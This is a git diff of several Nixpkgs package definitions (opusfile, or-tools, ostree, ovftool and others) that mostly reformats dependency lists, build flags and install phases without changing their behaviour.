index d10a43cfa4f8..18960a5c0224 100644
--- a/pkgs/by-name/op/opusfile/package.nix
+++ b/pkgs/by-name/op/opusfile/package.nix
@@ -27,18 +27,17 @@ stdenv.mkDerivation rec {
     "out"
     "dev"
   ];
-  patches =
-    [
-      ./include-multistream.patch
-      (fetchpatch {
-        name = "CVE-2022-47021.patch";
-        url = "https://github.com/xiph/opusfile/commit/0a4cd796df5b030cb866f3f4a5e41a4b92caddf5.patch";
-        sha256 = "sha256-XThI/ys5caB+OncFVfxm5IsvQPy1MbLQKwIlYjPvTJQ=";
-      })
-    ]
-    # fixes problem with openssl 1.1 dependency
-    # see https://github.com/xiph/opusfile/issues/13
-    ++ lib.optionals stdenv.hostPlatform.isWindows [ ./disable-cert-store.patch ];
+  patches = [
+    ./include-multistream.patch
+    (fetchpatch {
+      name = "CVE-2022-47021.patch";
+      url = "https://github.com/xiph/opusfile/commit/0a4cd796df5b030cb866f3f4a5e41a4b92caddf5.patch";
+      sha256 = "sha256-XThI/ys5caB+OncFVfxm5IsvQPy1MbLQKwIlYjPvTJQ=";
+    })
+  ]
+  # fixes problem with openssl 1.1 dependency
+  # see https://github.com/xiph/opusfile/issues/13
+  ++ lib.optionals stdenv.hostPlatform.isWindows [ ./disable-cert-store.patch ];
   configureFlags = [ "--disable-examples" ];
 
   meta = with lib; {
diff --git a/pkgs/by-name/op/opustags/package.nix b/pkgs/by-name/op/opustags/package.nix
index 3f999d9513c8..eb1901819b2a 100644
--- a/pkgs/by-name/op/opustags/package.nix
+++ b/pkgs/by-name/op/opustags/package.nix
@@ -26,22 +26,22 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     cmake
     pkg-config
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   buildInputs = [ libogg ];
 
   doCheck = true;
 
-  nativeCheckInputs =
-    [
-      ffmpeg
-      glibcLocales
-      perl
-    ]
-    ++ (with perlPackages; [
-      ListMoreUtils
-      TestDeep
-    ]);
+  nativeCheckInputs = [
+    ffmpeg
+    glibcLocales
+    perl
+  ]
+  ++ (with perlPackages; [
+    ListMoreUtils
+    TestDeep
+  ]);
 
   checkPhase = ''
     export LANG="en_US.UTF-8"
diff --git a/pkgs/by-name/or/or-tools/package.nix b/pkgs/by-name/or/or-tools/package.nix
index f391bafc6492..dae04d0b1503 100644
--- a/pkgs/by-name/or/or-tools/package.nix
+++ b/pkgs/by-name/or/or-tools/package.nix
@@ -59,52 +59,49 @@ stdenv.mkDerivation (finalAttrs: {
 
   # or-tools normally attempts to build Protobuf for the build platform when
   # cross-compiling. Instead, just tell it where to find protoc.
-  postPatch =
-    ''
-      echo "set(PROTOC_PRG $(type -p protoc))" > cmake/host.cmake
-    ''
-    # Patches from OpenSUSE:
-    # https://build.opensuse.org/projects/science/packages/google-or-tools/files/google-or-tools.spec?expand=1
-    + ''
-      sed -i -e '/CMAKE_DEPENDENT_OPTION(INSTALL_DOC/ s/BUILD_CXX AND BUILD_DOC/BUILD_CXX/' CMakeLists.txt
-      find . -iname \*CMakeLists.txt -exec sed -i -e 's/pybind11_native_proto_caster/pybind11_protobuf::pybind11_native_proto_caster/' '{}' \;
-      sed -i -e 's/TARGET pybind11_native_proto_caster/TARGET pybind11_protobuf::pybind11_native_proto_caster/' cmake/check_deps.cmake
-      sed -i -e "/protobuf/ { s/.*,/'protobuf >= 5.26',/ }" ortools/python/setup.py.in
-    '';
+  postPatch = ''
+    echo "set(PROTOC_PRG $(type -p protoc))" > cmake/host.cmake
+  ''
+  # Patches from OpenSUSE:
+  # https://build.opensuse.org/projects/science/packages/google-or-tools/files/google-or-tools.spec?expand=1
+  + ''
+    sed -i -e '/CMAKE_DEPENDENT_OPTION(INSTALL_DOC/ s/BUILD_CXX AND BUILD_DOC/BUILD_CXX/' CMakeLists.txt
+    find . -iname \*CMakeLists.txt -exec sed -i -e 's/pybind11_native_proto_caster/pybind11_protobuf::pybind11_native_proto_caster/' '{}' \;
+    sed -i -e 's/TARGET pybind11_native_proto_caster/TARGET pybind11_protobuf::pybind11_native_proto_caster/' cmake/check_deps.cmake
+    sed -i -e "/protobuf/ { s/.*,/'protobuf >= 5.26',/ }" ortools/python/setup.py.in
+  '';
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_DEPS" false)
-      (lib.cmakeBool "BUILD_PYTHON" true)
-      (lib.cmakeBool "BUILD_pybind11" false)
-      (lib.cmakeFeature "CMAKE_INSTALL_BINDIR" "bin")
-      (lib.cmakeFeature "CMAKE_INSTALL_INCLUDEDIR" "include")
-      (lib.cmakeFeature "CMAKE_INSTALL_LIBDIR" "lib")
-      (lib.cmakeBool "FETCH_PYTHON_DEPS" false)
-      (lib.cmakeBool "USE_GLPK" true)
-      (lib.cmakeBool "USE_SCIP" false)
-      (lib.cmakeFeature "Python3_EXECUTABLE" "${python3.pythonOnBuildForHost.interpreter}")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeBool "CMAKE_MACOSX_RPATH" false)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_DEPS" false)
+    (lib.cmakeBool "BUILD_PYTHON" true)
+    (lib.cmakeBool "BUILD_pybind11" false)
+    (lib.cmakeFeature "CMAKE_INSTALL_BINDIR" "bin")
+    (lib.cmakeFeature "CMAKE_INSTALL_INCLUDEDIR" "include")
+    (lib.cmakeFeature "CMAKE_INSTALL_LIBDIR" "lib")
+    (lib.cmakeBool "FETCH_PYTHON_DEPS" false)
+    (lib.cmakeBool "USE_GLPK" true)
+    (lib.cmakeBool "USE_SCIP" false)
+    (lib.cmakeFeature "Python3_EXECUTABLE" "${python3.pythonOnBuildForHost.interpreter}")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.cmakeBool "CMAKE_MACOSX_RPATH" false)
+  ];
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      ensureNewerSourcesForZipFilesHook
-      pkg-config
-      python3.pythonOnBuildForHost
-      swig
-      unzip
-    ]
-    ++ (with python3.pythonOnBuildForHost.pkgs; [
-      pip
-      mypy-protobuf
-      mypy
-    ]);
+  nativeBuildInputs = [
+    cmake
+    ensureNewerSourcesForZipFilesHook
+    pkg-config
+    python3.pythonOnBuildForHost
+    swig
+    unzip
+  ]
+  ++ (with python3.pythonOnBuildForHost.pkgs; [
+    pip
+    mypy-protobuf
+    mypy
+  ]);
   buildInputs = [
     abseil-cpp
     bzip2
diff --git a/pkgs/by-name/or/oracle-instantclient/package.nix b/pkgs/by-name/or/oracle-instantclient/package.nix
index 84908f01511c..2274a77b7054 100644
--- a/pkgs/by-name/or/oracle-instantclient/package.nix
+++ b/pkgs/by-name/or/oracle-instantclient/package.nix
@@ -25,7 +25,8 @@ let
     "sdk"
     "sqlplus"
     "tools"
-  ] ++ optional odbcSupport "odbc";
+  ]
+  ++ optional odbcSupport "odbc";
 
   # determine the version number, there might be different ones per architecture
   version =
@@ -142,20 +143,18 @@ in
 stdenv.mkDerivation {
   inherit pname version srcs;
 
-  buildInputs =
-    [
-      (lib.getLib stdenv.cc.cc)
-    ]
-    ++ optional stdenv.hostPlatform.isLinux libaio
-    ++ optional odbcSupport unixODBC;
+  buildInputs = [
+    (lib.getLib stdenv.cc.cc)
+  ]
+  ++ optional stdenv.hostPlatform.isLinux libaio
+  ++ optional odbcSupport unixODBC;
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      (if isDarwinAarch64 then _7zz else unzip)
-    ]
-    ++ optional stdenv.hostPlatform.isLinux autoPatchelfHook
-    ++ optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  nativeBuildInputs = [
+    makeWrapper
+    (if isDarwinAarch64 then _7zz else unzip)
+  ]
+  ++ optional stdenv.hostPlatform.isLinux autoPatchelfHook
+  ++ optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/or/oranda/package.nix b/pkgs/by-name/or/oranda/package.nix
index 482bd1c767f3..5bdc6d8a3145 100644
--- a/pkgs/by-name/or/oranda/package.nix
+++ b/pkgs/by-name/or/oranda/package.nix
@@ -37,15 +37,14 @@ rustPlatform.buildRustPackage rec {
     "--skip=integration"
   ];
 
-  env =
-    {
-      RUSTONIG_SYSTEM_LIBONIG = true;
-      ORANDA_USE_TAILWIND_BINARY = true;
-    }
-    // lib.optionalAttrs stdenv.hostPlatform.isDarwin {
-      # without this, tailwindcss fails with OpenSSL configuration error
-      OPENSSL_CONF = "";
-    };
+  env = {
+    RUSTONIG_SYSTEM_LIBONIG = true;
+    ORANDA_USE_TAILWIND_BINARY = true;
+  }
+  // lib.optionalAttrs stdenv.hostPlatform.isDarwin {
+    # without this, tailwindcss fails with OpenSSL configuration error
+    OPENSSL_CONF = "";
+  };
 
   meta = with lib; {
     description = "Generate beautiful landing pages for your developer tools";
diff --git a/pkgs/by-name/or/orbiton/package.nix b/pkgs/by-name/or/orbiton/package.nix
index d210a38c46d8..648631629eab 100644
--- a/pkgs/by-name/or/orbiton/package.nix
+++ b/pkgs/by-name/or/orbiton/package.nix
@@ -37,16 +37,15 @@ buildGoModule rec {
     "-skip=TestPBcopy" # Requires impure pbcopy and pbpaste
   ];
 
-  postInstall =
-    ''
-      cd ..
-      installManPage o.1
-      mv $out/bin/{orbiton,o}
-    ''
-    + lib.optionalString withGui ''
-      make install-gui PREFIX=$out
-      wrapProgram $out/bin/og --prefix PATH : $out/bin
-    '';
+  postInstall = ''
+    cd ..
+    installManPage o.1
+    mv $out/bin/{orbiton,o}
+  ''
+  + lib.optionalString withGui ''
+    make install-gui PREFIX=$out
+    wrapProgram $out/bin/og --prefix PATH : $out/bin
+  '';
 
   meta = {
     description = "Config-free text editor and IDE limited to VT100";
diff --git a/pkgs/by-name/or/orc/package.nix b/pkgs/by-name/or/orc/package.nix
index d88ff17b0312..f4d6e15bd1b5 100644
--- a/pkgs/by-name/or/orc/package.nix
+++ b/pkgs/by-name/or/orc/package.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional buildDevDoc "devdoc";
+  ]
+  ++ lib.optional buildDevDoc "devdoc";
   outputBin = "dev"; # compilation tools
 
   src = fetchurl {
@@ -40,16 +41,15 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.mesonEnable "gtk_doc" buildDevDoc)
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-    ]
-    ++ lib.optionals buildDevDoc [
-      gtk-doc
-      file
-      docbook-xsl-nons
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+  ]
+  ++ lib.optionals buildDevDoc [
+    gtk-doc
+    file
+    docbook-xsl-nons
+  ];
 
   # https://gitlab.freedesktop.org/gstreamer/orc/-/issues/41
   doCheck =
diff --git a/pkgs/by-name/or/orca-slicer/package.nix b/pkgs/by-name/or/orca-slicer/package.nix
index ecdb0b4814b0..4bf3d73187a4 100644
--- a/pkgs/by-name/or/orca-slicer/package.nix
+++ b/pkgs/by-name/or/orca-slicer/package.nix
@@ -73,54 +73,53 @@ stdenv.mkDerivation (finalAttrs: {
     wxGTK'
   ];
 
-  buildInputs =
-    [
-      binutils
-      (boost186.override {
-        enableShared = true;
-        enableStatic = false;
-        extraFeatures = [
-          "log"
-          "thread"
-          "filesystem"
-        ];
-      })
-      boost186.dev
-      cereal
-      cgal
-      curl
-      dbus
-      eigen
-      expat
-      ffmpeg
-      gcc-unwrapped
-      glew
-      glfw
-      glib
-      glib-networking
-      gmp
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-bad
-      gst_all_1.gst-plugins-good
-      gtk3
-      hicolor-icon-theme
-      ilmbase
-      libpng
-      mpfr
-      nlopt
-      opencascade-occt_7_6
-      openvdb
-      pcre
-      tbb_2021_11
-      webkitgtk_4_0
-      wxGTK'
-      xorg.libX11
-      opencv.cxxdev
-      libnoise
-    ]
-    ++ lib.optionals withSystemd [ systemd ]
-    ++ finalAttrs.checkInputs;
+  buildInputs = [
+    binutils
+    (boost186.override {
+      enableShared = true;
+      enableStatic = false;
+      extraFeatures = [
+        "log"
+        "thread"
+        "filesystem"
+      ];
+    })
+    boost186.dev
+    cereal
+    cgal
+    curl
+    dbus
+    eigen
+    expat
+    ffmpeg
+    gcc-unwrapped
+    glew
+    glfw
+    glib
+    glib-networking
+    gmp
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-bad
+    gst_all_1.gst-plugins-good
+    gtk3
+    hicolor-icon-theme
+    ilmbase
+    libpng
+    mpfr
+    nlopt
+    opencascade-occt_7_6
+    openvdb
+    pcre
+    tbb_2021_11
+    webkitgtk_4_0
+    wxGTK'
+    xorg.libX11
+    opencv.cxxdev
+    libnoise
+  ]
+  ++ lib.optionals withSystemd [ systemd ]
+  ++ finalAttrs.checkInputs;
 
   patches = [
     # Fix for webkitgtk linking
diff --git a/pkgs/by-name/os/osi/package.nix b/pkgs/by-name/os/osi/package.nix
index 98b73755866b..2c1a6f95def0 100644
--- a/pkgs/by-name/os/osi/package.nix
+++ b/pkgs/by-name/os/osi/package.nix
@@ -25,15 +25,14 @@ stdenv.mkDerivation rec {
     hash = "sha256-3aTO7JGEOP/RCOZ1X9b68rrtv6T78euf1TYGTjyXSRE=";
   };
 
-  buildInputs =
-    [
-      blas
-      zlib
-      bzip2
-      coin-utils
-    ]
-    ++ lib.optional withGurobi gurobi
-    ++ lib.optional withCplex cplex;
+  buildInputs = [
+    blas
+    zlib
+    bzip2
+    coin-utils
+  ]
+  ++ lib.optional withGurobi gurobi
+  ++ lib.optional withCplex cplex;
   nativeBuildInputs = [
     gfortran
     pkg-config
diff --git a/pkgs/by-name/os/osm2pgsql/package.nix b/pkgs/by-name/os/osm2pgsql/package.nix
index 71108ffee7d0..ff28e839e94a 100644
--- a/pkgs/by-name/os/osm2pgsql/package.nix
+++ b/pkgs/by-name/os/osm2pgsql/package.nix
@@ -41,30 +41,29 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      boost
-      bzip2
-      cli11
-      expat
-      fmt_11
-      libosmium
-      libpq
-      nlohmann_json
-      opencv
-      potrace
-      proj
-      protozero
-      (python3.withPackages (
-        p: with p; [
-          psycopg2
-          pyosmium
-        ]
-      ))
-      zlib
-    ]
-    ++ lib.optional withLuaJIT luajit
-    ++ lib.optional (!withLuaJIT) lua;
+  buildInputs = [
+    boost
+    bzip2
+    cli11
+    expat
+    fmt_11
+    libosmium
+    libpq
+    nlohmann_json
+    opencv
+    potrace
+    proj
+    protozero
+    (python3.withPackages (
+      p: with p; [
+        psycopg2
+        pyosmium
+      ]
+    ))
+    zlib
+  ]
+  ++ lib.optional withLuaJIT luajit
+  ++ lib.optional (!withLuaJIT) lua;
 
   cmakeFlags = [
     (lib.cmakeBool "EXTERNAL_LIBOSMIUM" true)
diff --git a/pkgs/by-name/os/ostree/package.nix b/pkgs/by-name/os/ostree/package.nix
index b9cfa532807c..fb9d75d90624 100644
--- a/pkgs/by-name/os/ostree/package.nix
+++ b/pkgs/by-name/os/ostree/package.nix
@@ -80,67 +80,64 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-      libtool
-      pkg-config
-      glib
-      gtk-doc
-      which
-      makeWrapper
-      bison
-      libxslt
-      docbook-xsl-nons
-      docbook_xml_dtd_42
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    autoconf
+    automake
+    libtool
+    pkg-config
+    glib
+    gtk-doc
+    which
+    makeWrapper
+    bison
+    libxslt
+    docbook-xsl-nons
+    docbook_xml_dtd_42
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ];
 
-  buildInputs =
-    [
-      curl
-      glib
-      e2fsprogs
-      libsoup_3 # for trivial-httpd for tests
-      gpgme
-      fuse3
-      libselinux
-      libsodium
-      libcap
-      libarchive
-      bzip2
-      xz
-      util-linuxMinimal # for libmount
+  buildInputs = [
+    curl
+    glib
+    e2fsprogs
+    libsoup_3 # for trivial-httpd for tests
+    gpgme
+    fuse3
+    libselinux
+    libsodium
+    libcap
+    libarchive
+    bzip2
+    xz
+    util-linuxMinimal # for libmount
 
-      # for installed tests
-      testPython
-    ]
-    ++ lib.optionals withComposefs [
-      (lib.getDev composefs)
-    ]
-    ++ lib.optionals withGjs [
-      gjs
-    ]
-    ++ lib.optionals withSystemd [
-      systemd
-    ];
+    # for installed tests
+    testPython
+  ]
+  ++ lib.optionals withComposefs [
+    (lib.getDev composefs)
+  ]
+  ++ lib.optionals withGjs [
+    gjs
+  ]
+  ++ lib.optionals withSystemd [
+    systemd
+  ];
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--with-curl"
-      "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
-      "--with-systemdsystemgeneratordir=${placeholder "out"}/lib/systemd/system-generators"
-      "--enable-installed-tests"
-      "--with-ed25519-libsodium"
-    ]
-    ++ lib.optionals withComposefs [
-      "--with-composefs"
-    ];
+  configureFlags = [
+    "--with-curl"
+    "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
+    "--with-systemdsystemgeneratordir=${placeholder "out"}/lib/systemd/system-generators"
+    "--enable-installed-tests"
+    "--with-ed25519-libsodium"
+  ]
+  ++ lib.optionals withComposefs [
+    "--with-composefs"
+  ];
 
   makeFlags = [
     "installed_testdir=${placeholder "installedTests"}/libexec/installed-tests/libostree"
diff --git a/pkgs/by-name/ot/otb/package.nix b/pkgs/by-name/ot/otb/package.nix
index b30b092ae6c6..f797437cb74e 100644
--- a/pkgs/by-name/ot/otb/package.nix
+++ b/pkgs/by-name/ot/otb/package.nix
@@ -51,16 +51,15 @@ let
   # filter out gdcm, libminc from list of ITK deps as it's not needed for OTB
   itkVersion = "5.3.0";
   itkMajorMinorVersion = lib.versions.majorMinor itkVersion;
-  itkDepsToRemove =
-    [
-      "gdcm"
-      "libminc"
-    ]
-    ++ optionals (!enableFFTW) [
-      # remove fftw to avoid GPL contamination
-      # https://gitlab.orfeo-toolbox.org/orfeotoolbox/otb/-/issues/2454#note_112821
-      "fftw"
-    ];
+  itkDepsToRemove = [
+    "gdcm"
+    "libminc"
+  ]
+  ++ optionals (!enableFFTW) [
+    # remove fftw to avoid GPL contamination
+    # https://gitlab.orfeo-toolbox.org/orfeotoolbox/otb/-/issues/2454#note_112821
+    "fftw"
+  ];
   itkIsInDepsToRemove = dep: builtins.any (d: d == dep.name) itkDepsToRemove;
 
   # remove after https://gitlab.orfeo-toolbox.org/orfeotoolbox/otb/-/issues/2451
@@ -98,11 +97,9 @@ let
     ];
 
     # fix the CMake config files for ITK which contains double slashes
-    postInstall =
-      (oldArgs.postInstall or "")
-      + ''
-        sed -i 's|''${ITK_INSTALL_PREFIX}//nix/store|/nix/store|g' $out/lib/cmake/ITK-${itkMajorMinorVersion}/ITKConfig.cmake
-      '';
+    postInstall = (oldArgs.postInstall or "") + ''
+      sed -i 's|''${ITK_INSTALL_PREFIX}//nix/store|/nix/store|g' $out/lib/cmake/ITK-${itkMajorMinorVersion}/ITKConfig.cmake
+    '';
 
     cmakeFlags = oldArgs.cmakeFlags or [ ] ++ [
       (lib.cmakeBool "ITK_USE_SYSTEM_EIGEN" true)
@@ -264,29 +261,28 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeBool "OTB_USE_FFTW" enableFFTW)
   ];
 
-  propagatedBuildInputs =
+  propagatedBuildInputs = [
+    boost
+    curl
+    gdal
+    libgeotiff
+    libsvm
+    muparser
+    muparserx
+    opencv
+    otb-itk
+    perl
+    tinyxml
+  ]
+  ++ otb-itk.propagatedBuildInputs
+  ++ optionals enablePython (
     [
-      boost
-      curl
-      gdal
-      libgeotiff
-      libsvm
-      muparser
-      muparserx
-      opencv
-      otb-itk
-      perl
-      tinyxml
+      python3
+      otbSwig
     ]
-    ++ otb-itk.propagatedBuildInputs
-    ++ optionals enablePython (
-      [
-        python3
-        otbSwig
-      ]
-      ++ pythonInputs
-    )
-    ++ optionals enableShark [ otb-shark ];
+    ++ pythonInputs
+  )
+  ++ optionals enableShark [ otb-shark ];
 
   doInstallCheck = true;
 
diff --git a/pkgs/by-name/ot/otel-cli/package.nix b/pkgs/by-name/ot/otel-cli/package.nix
index a3550e94225b..fd85f5dc5df6 100644
--- a/pkgs/by-name/ot/otel-cli/package.nix
+++ b/pkgs/by-name/ot/otel-cli/package.nix
@@ -21,19 +21,18 @@ buildGoModule rec {
 
   vendorHash = "sha256-fWQz7ZrU8gulhpOHSN8Prn4EMC0KXy942FZD/PMsLxc=";
 
-  preCheck =
-    ''
-      ln -s $GOPATH/bin/otel-cli .
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      substituteInPlace main_test.go \
-        --replace-fail 'const minimumPath = `/bin:/usr/bin`' 'const minimumPath = `${
-          lib.makeBinPath [
-            getent
-            coreutils
-          ]
-        }`'
-    '';
+  preCheck = ''
+    ln -s $GOPATH/bin/otel-cli .
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    substituteInPlace main_test.go \
+      --replace-fail 'const minimumPath = `/bin:/usr/bin`' 'const minimumPath = `${
+        lib.makeBinPath [
+          getent
+          coreutils
+        ]
+      }`'
+  '';
 
   patches = [ ./patches/bin-echo-patch.patch ];
 
diff --git a/pkgs/by-name/ot/otf2/package.nix b/pkgs/by-name/ot/otf2/package.nix
index 12593de5b110..fafe2b6919d5 100644
--- a/pkgs/by-name/ot/otf2/package.nix
+++ b/pkgs/by-name/ot/otf2/package.nix
@@ -34,14 +34,13 @@ stdenv.mkDerivation (finalAttrs: {
   strictDeps = true;
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
-  configureFlags =
-    [
-      (lib.enableFeature finalAttrs.finalPackage.doCheck "backend-test-runs")
-      (lib.withFeature true "custom-compilers")
-    ]
-    ++ lib.optionals (!lib.systems.equals stdenv.buildPlatform stdenv.hostPlatform) [
-      "ac_scorep_cross_compiling=yes"
-    ];
+  configureFlags = [
+    (lib.enableFeature finalAttrs.finalPackage.doCheck "backend-test-runs")
+    (lib.withFeature true "custom-compilers")
+  ]
+  ++ lib.optionals (!lib.systems.equals stdenv.buildPlatform stdenv.hostPlatform) [
+    "ac_scorep_cross_compiling=yes"
+  ];
 
   nativeBuildInputs = [
     which # used in configure script
diff --git a/pkgs/by-name/ot/ott/package.nix b/pkgs/by-name/ot/ott/package.nix
index a67c9fd0874e..620fb352727d 100644
--- a/pkgs/by-name/ot/ott/package.nix
+++ b/pkgs/by-name/ot/ott/package.nix
@@ -20,27 +20,25 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      opaline
-    ]
-    ++ (with ocamlPackages; [
-      findlib
-      ocaml
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+    opaline
+  ]
+  ++ (with ocamlPackages; [
+    findlib
+    ocaml
+  ]);
   buildInputs = with ocamlPackages; [ ocamlgraph ];
 
   installTargets = "ott.install";
 
-  postInstall =
-    ''
-      opaline -prefix $out
-    ''
-    # There is `emacsPackages.ott-mode` for this now.
-    + ''
-      rm -r $out/share/emacs
-    '';
+  postInstall = ''
+    opaline -prefix $out
+  ''
+  # There is `emacsPackages.ott-mode` for this now.
+  + ''
+    rm -r $out/share/emacs
+  '';
 
   meta = {
     description = "Tool for the working semanticist";
diff --git a/pkgs/by-name/ov/ovftool/package.nix b/pkgs/by-name/ov/ovftool/package.nix
index 3176c2f5c4c8..4f8927f608f8 100644
--- a/pkgs/by-name/ov/ovftool/package.nix
+++ b/pkgs/by-name/ov/ovftool/package.nix
@@ -113,33 +113,31 @@ stdenv.mkDerivation (final: {
         and would like to use this package.
       '';
 
-  buildInputs =
-    [
-      c-ares
-      expat
-      icu60
-      libiconv
-      libxcrypt-legacy
-      ovftool-xercesc
-      zlib
-      curl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      glibc
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libxml2
-    ];
+  buildInputs = [
+    c-ares
+    expat
+    icu60
+    libiconv
+    libxcrypt-legacy
+    ovftool-xercesc
+    zlib
+    curl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    glibc
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libxml2
+  ];
 
-  nativeBuildInputs =
-    [
-      unzip
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      autoPatchelfHook
-    ];
+  nativeBuildInputs = [
+    unzip
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    autoPatchelfHook
+  ];
 
   postUnpack = ''
     # The linux package wraps ovftool.bin with ovftool. Wrapping
@@ -150,84 +148,83 @@ stdenv.mkDerivation (final: {
     fi
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      # Based on https://aur.archlinux.org/packages/vmware-ovftool/
-      # with the addition of a libexec directory and a Nix-style binary wrapper.
+    # Based on https://aur.archlinux.org/packages/vmware-ovftool/
+    # with the addition of a libexec directory and a Nix-style binary wrapper.
 
-      # Almost all libs in the package appear to be VMware proprietary except for
-      # libgoogleurl and libcurl.
-      #
-      # FIXME: Replace libgoogleurl? Possibly from Chromium?
-      # FIXME: Tell VMware to use a modern version of OpenSSL on macOS. As of ovftool
-      # v4.6.3 ovftool uses openssl-1.0.2zj which in seems to be the extended
-      # support LTS release: https://www.openssl.org/support/contracts.html
+    # Almost all libs in the package appear to be VMware proprietary except for
+    # libgoogleurl and libcurl.
+    #
+    # FIXME: Replace libgoogleurl? Possibly from Chromium?
+    # FIXME: Tell VMware to use a modern version of OpenSSL on macOS. As of ovftool
+    # v4.6.3 ovftool uses openssl-1.0.2zj which in seems to be the extended
+    # support LTS release: https://www.openssl.org/support/contracts.html
 
-      # Install all libs that are not patched in preFixup.
-      # Darwin dylibs are under `lib` in the zip.
-      install -m 755 -d "$out/lib"
-      install -m 644 -t "$out/lib" \
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      libgoogleurl.so.59 \
-      libssoclient.so \
-      libvim-types.so \
-      libvmacore.so \
-      libvmomi.so
-    ''
-    # macOS still relies on OpenSSL 1.0.2 as of v4.6.3, but Linux is in the clear
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      lib/libcrypto.1.0.2.dylib \
-      lib/libgoogleurl.59.0.30.45.2.dylib \
-      lib/libssl.1.0.2.dylib \
-      lib/libssoclient.dylib \
-      lib/libvim-types.dylib \
-      lib/libvmacore.dylib \
-      lib/libvmomi.dylib
-    ''
-    + ''
-      # Install libexec binaries
-      # ovftool expects to be run relative to certain directories, namely `env`.
-      # Place the binary and those dirs in libexec.
-      install -m 755 -d "$out/libexec"
-      install -m 755 -t "$out/libexec" ovftool
-      [ -f ovftool.bin ] && install -m 755 -t "$out/libexec" ovftool.bin
-      install -m 644 -t "$out/libexec" icudt44l.dat
+    # Install all libs that are not patched in preFixup.
+    # Darwin dylibs are under `lib` in the zip.
+    install -m 755 -d "$out/lib"
+    install -m 644 -t "$out/lib" \
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    libgoogleurl.so.59 \
+    libssoclient.so \
+    libvim-types.so \
+    libvmacore.so \
+    libvmomi.so
+  ''
+  # macOS still relies on OpenSSL 1.0.2 as of v4.6.3, but Linux is in the clear
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    lib/libcrypto.1.0.2.dylib \
+    lib/libgoogleurl.59.0.30.45.2.dylib \
+    lib/libssl.1.0.2.dylib \
+    lib/libssoclient.dylib \
+    lib/libvim-types.dylib \
+    lib/libvmacore.dylib \
+    lib/libvmomi.dylib
+  ''
+  + ''
+    # Install libexec binaries
+    # ovftool expects to be run relative to certain directories, namely `env`.
+    # Place the binary and those dirs in libexec.
+    install -m 755 -d "$out/libexec"
+    install -m 755 -t "$out/libexec" ovftool
+    [ -f ovftool.bin ] && install -m 755 -t "$out/libexec" ovftool.bin
+    install -m 644 -t "$out/libexec" icudt44l.dat
 
-      # Install other libexec resources that need to be relative to the `ovftool`
-      # binary.
-      for subdir in "certs" "env" "env/en" "schemas/DMTF" "schemas/vmware"; do
-        install -m 755 -d "$out/libexec/$subdir"
-        install -m 644 -t "$out/libexec/$subdir" "$subdir"/*.*
-      done
+    # Install other libexec resources that need to be relative to the `ovftool`
+    # binary.
+    for subdir in "certs" "env" "env/en" "schemas/DMTF" "schemas/vmware"; do
+      install -m 755 -d "$out/libexec/$subdir"
+      install -m 644 -t "$out/libexec/$subdir" "$subdir"/*.*
+    done
 
-      # Install EULA/OSS files
-      install -m 755 -d "$out/share/licenses"
-      install -m 644 -t "$out/share/licenses" \
-        "vmware.eula" \
-        "vmware-eula.rtf" \
-        "README.txt" \
-        "open_source_licenses.txt"
+    # Install EULA/OSS files
+    install -m 755 -d "$out/share/licenses"
+    install -m 644 -t "$out/share/licenses" \
+      "vmware.eula" \
+      "vmware-eula.rtf" \
+      "README.txt" \
+      "open_source_licenses.txt"
 
-      # Install Docs
-      install -m 755 -d "$out/share/doc"
-      install -m 644 -t "$out/share/doc" "README.txt"
+    # Install Docs
+    install -m 755 -d "$out/share/doc"
+    install -m 644 -t "$out/share/doc" "README.txt"
 
